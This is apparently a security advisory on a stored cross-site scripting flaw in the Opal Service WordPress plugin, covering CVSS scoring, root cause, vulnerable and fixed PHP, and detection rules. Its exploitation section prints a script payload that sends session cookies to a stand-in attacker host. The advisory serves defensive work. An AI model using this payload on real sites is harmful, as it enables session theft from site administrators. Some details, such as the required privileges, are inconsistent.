CVE-2025-62913

Executive Summary

CVE-2025-62913 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Opal Service WordPress plugin (vendor: Wpopal), affecting versions from n/a through 1.9.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This is a classic WordPress ecosystem issue, as the plugin is designed for the WordPress platform.

The CVSS v3.1 base score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, no privileges, but user interaction is required. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component. The impact is limited to low confidentiality and integrity loss, with no availability impact.

The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. However, given the lack of a patch and the nature of stored XSS, this vulnerability poses a significant risk to WordPress sites using the Opal Service plugin.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem. The Opal Service plugin is distributed via the WordPress plugin repository and potentially through third-party marketplaces. The lack of a patch means that all sites using version 1.9.1 or earlier are at risk. Supply chain security is a concern because the plugin may be bundled with themes or other plugins, and users may not be aware of the vulnerability. Administrators should immediately check for the plugin and either update (if a patch becomes available) or remove it.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker can exploit this easily.
• Privileges Required (PR): None (N) – No authentication is needed to inject the payload.
• User Interaction (UI): Required (R) – The victim must visit a page containing the stored payload.
• Scope (S): Changed (C) – The injected script can affect other components (e.g., steal cookies, redirect to malicious sites).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for widespread exploitation in WordPress environments elevate the risk. The requirement for user interaction reduces the immediate threat, but stored XSS can be used in targeted attacks against administrators or high-value users.

Deep Dive & Mechanics

The vulnerability exists in the Opal Service plugin, which is used to manage and display services on WordPress sites. The plugin fails to properly sanitize or escape user input before storing it in the database and later rendering it in web pages. This allows an attacker to inject arbitrary HTML and JavaScript code.

Attack Flow:

1. An attacker identifies a vulnerable input field (e.g., service title, description, or custom fields) in the Opal Service plugin.
2. The attacker submits a payload containing malicious JavaScript, such as <script>alert('XSS')</script>.
3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When an administrator or other user visits a page that displays the injected content (e.g., the service listing page), the script executes in their browser.
5. The attacker can then perform actions such as stealing session cookies, redirecting users to phishing sites, or defacing the site.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()). This is a classic example of improper output encoding.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (PHP):

<?php
// In a template or shortcode handler
$service_title = get_post_meta($post->ID, 'service_title', true);
echo '<h2>' . $service_title . '</h2>';
?>

Patched Code (Hypothetical):

<?php
// Properly escape output
$service_title = get_post_meta($post->ID, 'service_title', true);
echo '<h2>' . esc_html($service_title) . '</h2>';
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML tags while stripping malicious ones.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Opal Service plugin version <= 1.9.1.
• An account with at least Contributor or Author role (or any role that can submit service data). If the plugin allows unauthenticated submissions, no account is needed.

Exploitation Steps:

1. Identify the vulnerable input field. Common fields include service title, description, or custom meta fields.
2. Craft a payload. For example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the payload through the plugin's form (e.g., via a POST request to wp-admin/admin-ajax.php or a custom endpoint).
4. Wait for an administrator to view the page containing the payload.
5. The administrator's browser executes the script, sending their session cookie to the attacker's server.

Example Payload (for testing):

<script>alert('XSS')</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to plugin endpoints.
• Look for suspicious strings in service-related database entries.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Disable or remove the Opal Service plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins that add input validation and output escaping.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains containing cookie data.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action parameters related to Opal Service.
• Host IOCs:
  • Presence of <script> tags in the wp_postmeta table for service-related meta keys.
  • Unexpected JavaScript code in the page source of service pages.
• File IOCs:
  • Modified plugin files (though unlikely, as the vulnerability is in the core plugin).
• Log IOCs:
  • Web server logs showing requests to service pages with encoded JavaScript in query strings or POST data.

Detection Engineering

YARA Rule

rule CVE_2025_62913_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Opal Service plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62913"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-62913 Stored XSS in Opal Service Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts targeting the Opal Service plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62913
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'admin-ajax.php'
            - 'opal-service'
        cs-uri-query|re:
            - 'action=.*service.*'
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62913 Stored XSS in Opal Service Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Opal Service plugin on all WordPress sites until a patch is released.
2. Remove the plugin if it is not critical to operations.
3. Scan the database for existing XSS payloads using the YARA rule above or manual inspection of wp_postmeta and wp_posts tables.

Long-term Mitigation:

• Monitor the WordPress plugin repository for an official patch.
• Implement a Web Application Firewall (WAF) with rules to block XSS attempts.
• Enforce Content Security Policy (CSP) headers to limit script execution.
• Educate users about the risks of using unpatched plugins.

Workaround:

• If the plugin cannot be removed, consider using a WordPress security plugin that adds output escaping to all plugin outputs (e.g., Sucuri, Wordfence). However, this is not a guaranteed fix.

Valters IT